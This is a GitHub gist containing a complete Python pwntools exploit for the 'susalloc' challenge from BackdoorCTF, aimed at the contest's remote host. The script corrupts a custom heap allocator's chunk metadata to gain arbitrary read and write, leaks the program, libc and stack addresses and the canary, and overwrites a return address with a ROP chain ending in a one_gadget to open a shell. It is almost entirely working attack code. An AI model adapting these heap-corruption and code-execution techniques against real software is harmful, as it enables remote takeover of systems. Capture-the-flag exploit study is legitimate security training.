Skip to content

Instantly share code, notes, and snippets.

@EricTsengTy
Last active Dec 18, 2022
Embed
What would you like to do?
Exploit for BackdoorCTF/susalloc
#!/usr/bin/env python3
from pwn import *
'''
## Some variables
0x10018:
0x102e0: item[29] (item's pointer)
0x10380: item counts
0x103a0:
0x10400: custom_fast_bin
0x104f0: custom_unsorted_bin
0x10500: custom_heap_header
## Chunk format
0x0: prev size
0x8: next size
0x10: size
0x18: inuse
0x20: prev chunk ptr
0x28: next chunk ptr
0x30: data
## Heap header format
0x0: base address
0x8: current allocated size
'''
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# Code offset
cout_offset = 0x10080
stdin_offset = 0x10050
# Libc gadget
pop_r13_r14_r15_ret = 0xef194
one_gadget = 0xe3afe
# Libc offset
environ_offset = 0x1ef600
def add(r, size):
r.sendlineafter(b'Set Value\n', b'1')
r.sendlineafter(b'size: ', str(size).encode())
def delete(r, index):
r.sendlineafter(b'Set Value\n', b'2')
r.sendlineafter(b'index: ', str(index).encode())
def edit(r, index, data):
r.sendlineafter(b'Set Value\n', b'3')
r.sendlineafter(b'index: ', str(index).encode())
r.send(data)
def read(r, index):
r.sendlineafter(b'Set Value\n', b'4')
r.sendlineafter(b'index: ', str(index).encode())
def setValue(r, index, offset, value):
r.sendlineafter(b'Set Value\n', b'5')
r.sendlineafter(b'index: ', str(index).encode())
r.sendlineafter(b'offset: ', str(offset).encode())
r.sendlineafter(b'value: ', str(value).encode())
# Connect to server
# r = process('./main', env={'LD_LIBRARY_PATH': '.'})
r = remote('hack.backdoor.infoseciitr.in', 10004)
# Leak code base
add(r, 0x10)
add(r, 0x200)
delete(r, 1)
setValue(r, 0, -0x20 + 3, 0x10)
edit(r, 0, b'a' * 0x30)
read(r, 0)
r.recvuntil(b'a' * 0x30)
code_base = u64(r.recv(6) + b'\0\0') - 0x104f0
success(f'code base -> {hex(code_base)}')
# Write back to normal data
edit(r, 0, b'a' * 0x10 + flat(
0, 0, 0x230, 0, # chunk 1 header
))
# Leak mmap base (custom heap base)
add(r, 0x210)
delete(r, 2)
edit(r, 0, b'a' * 0x10 + b'a' * 0x2a)
read(r, 0)
r.recvuntil(b'a' * 0x10 + b'a' * 0x2a)
recv_byte = r.recvline()[0]
mmap_base = 0x1000000 if recv_byte == ord('\n') else \
recv_byte << 16 if recv_byte >= 0x50 else (recv_byte << 16) | 0x1000000
success(f'mmap base -> {hex(mmap_base)}')
if mmap_base >= 0x1000000:
# Still solvable but I'm lazy
info('Give up!')
exit()
# Make the 6th chunk points to &items[6]
edit(r, 0, b'a' * 0x10 + flat(
0, 0, 0, 2, 0, 0, # chunk 1 header
b'a' * 0x200, # chunk 1 data
0, 0, 0, 2, 0, 0,
b'b' * 0x210,
))
add(r, 0x70)
add(r, 0x70)
add(r, 0x70)
delete(r, 3)
edit(r, 0, b'a' * 0x10 + flat(
0, 0, 0, 2, 0, 0, # chunk 1 header
b'a' * 0x200, # chunk 1 data
0, 0, 0, 2, 0, 0,
b'b' * 0x210,
0, 0x40, 0x40, 0x2, 0x0, mmap_base + 0x550,
b'c' * 0x70,
0x40, 0x40, 0x40, 0x2, mmap_base + 0x4b0, code_base + 0x102e0,
))
add(r, 0x70)
add(r, 0x20)
# Arbitrary read and write!!!
# Leak libc base
edit(r, 6, flat(
code_base + 0x102e0 + 0x30, # == &items[6]
code_base + stdin_offset,
))
read(r, 7)
libc_base = u64(r.recv(6) + b'\0\0') - 0x1ec980
success(f'libc base -> {hex(libc_base)}')
# Leak main rsp
edit(r, 6, flat(
code_base + 0x102e0 + 0x30,
libc_base + environ_offset,
))
read(r, 7)
main_rsp = u64(r.recv(6) + b'\0\0')
success(f'main rsp -> {hex(main_rsp)}')
# Leak canary (useless)
edit(r, 6, flat(
code_base + 0x102e0 + 0x30,
main_rsp - 0x120 + 1,
))
read(r, 7)
canary = u64(b'\0' + r.recv(7))
success(f'canary -> {hex(canary)}')
edit(r, 6, flat(
code_base + 0x102e0 + 0x30,
main_rsp - 0x140,
))
edit(r, 7, b'a' * 8 + p64(0) + flat(
libc_base + pop_r13_r14_r15_ret,
0, 0, 0,
libc_base + one_gadget,
))
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment